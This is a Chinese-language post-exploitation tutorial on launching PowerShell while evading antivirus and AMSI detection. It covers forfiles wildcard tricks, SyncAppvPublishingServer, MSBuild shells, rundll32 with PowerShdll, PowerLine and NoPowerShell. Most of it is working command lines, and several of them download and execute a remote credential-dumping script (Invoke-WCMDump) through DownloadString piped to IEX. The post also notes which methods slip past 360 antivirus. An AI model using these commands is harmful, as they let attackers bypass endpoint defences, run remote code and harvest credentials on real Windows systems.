[后渗透]多姿势绕过 Powershell 调用保护
0x01 简介
Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework 的强大功能。由于 powershell 的特性,使得它很受渗透测试爱好者的喜爱,当然也催生了像 ASMI 之类的防御手段,当然各类杀软也是把它纳入了查杀行列中,只要你调用 PS 就会查杀,今天列举一些可以绕过其检测规则的一些姿势,主要可以粗略分为两大类,首先是绕过AV的检测规则,其次是换一个方式执行类似 PowerShell 的操作
0x02 绕过本地调用
2.1 模糊搜索调用
forfiles 是一款 windows 平台的软件工具,其中选择文件并运行一个命令来操作文件。命令说明符支持一些特殊的语法选项。它可以直接在命令行中使用,也可以在批处理文件或其他脚本中使用。
在 cmd 终端中,借用 forfiles 调用 powershell :
forfiles /p %COMSPEC:~0,19% /s /c "@file" /m po*l.*e
有需求的话,也可以同时添加 powershell 的指令参数,以实现不同的参数功能,这里以-c
参数举例:
forfiles /p %COMSPEC:~0,19% /s /c "cmd /c @file -c get-host" /m po*l.*e
2.2 编译命令程序
用c++的system函数库去调用(待完善):
#include<stdio.h>
#include<stdlib.h>
int main(){
system("powershell");
return 0;
}
2.3 SyncAppvPublishingServer
SyncAppvPublishingServer是win10自带的服务,有vbs和exe两个版本,我们可以使用他们来做一些类似PS的操作
默认存放在C:\Windows\System32下面:
#弹计算器
C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; Start-Process Calc.exe ”
#访问端口
C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; iwr http://192.168.1.149:443"
#远程下载并执行powershell
C:\Windows\System32\SyncAppvPublishingServer.exe \" Break; (New-Object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1','$env:USERPROFILE/1.ps1'); Start-Process '$env:USERPROFILE/1.ps1' -WindowStyle Minimized;"
SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1') | IEX"
2.4 调用MSBuild
MSBuild是.Net框架中包含的工具,用于自动化创建软件产品的过程,包括编译源代码,打包,测试,部署和创建文档。Msbuild依赖于.csproj文件,该文件具有XML语法,包含了.NET构建过程中的结果
github上有此类项目:https://github.com/Cn33liz/MSBuildShell.git
执行完之后会获得一个交互式的PS:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\Scripts\MSBuildShell.csproj
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe C:\Scripts\MSBuildShell.csproj
2.5 调用cscript
三好师傅:http://www.mottoin.com/detail/1961.html
0x03 非Powershell执行
3.1 PowerLine
PowerLine是一款由c#编写的工具,支持本地命令行调用和远程调用,可以在不直接调用PowerShell的情况下调用PowerShell脚本
下载地址:https://github.com/fullmetalcache/PowerLine
首先拉取项目到本地,然后运行build.bat文件:
./build.bat
然后在 UserConf.xml 文件中填写你所需要调用的 powershell 脚本的地址,默认自带 powerup、powerview、Mimikatz 等,只要按照他给定的格式加入你的 ps 脚本地址即可:
加入完成以后,运行 PLBuilder.exe 进行构建,构建过程中,360 无提示。查看内置的脚本 PowerLine.exe -ShowScripts:
3.2 PowerShdll
这个工具主要使用 dll 去运行 powershell 而不需要去连接 powershell.exe ,所以具有一定的 bypassAV 能力,当然它也可以在这几个程序下运行 rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsvr32.exe 或者使用作者给出的单独的 exe 进行执行
下载地址:https://github.com/p3nt4/PowerShdll
#exe版
PowerShdll -i #进入到交互模式
#dll版 360可以查杀到
rundll32 PowerShdll.dll,main . { iwr -useb https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1 } ^| iex;
3.3 Nopowershell
NoPowerShell 是用C#实现的工具,它支持执行类似PowerShell的命令,同时对任何PowerShell日志记录机制都不可见。同时也提供了CS下的cna脚本。
下载地址:https://github.com/bitsadmin/nopowershell
./NoPowerShell.exe(过360)
rundll32 NoPowerShell64.dll(被查杀)
这里要注意一点的是,cs的cna脚本默认调用 scripts 下的文件,国内的cs大多为 script 目录,自行修改文件内的目录即可。
参考链接
无powershell运行powershell方法总结
http://www.mottoin.com/detail/1961.html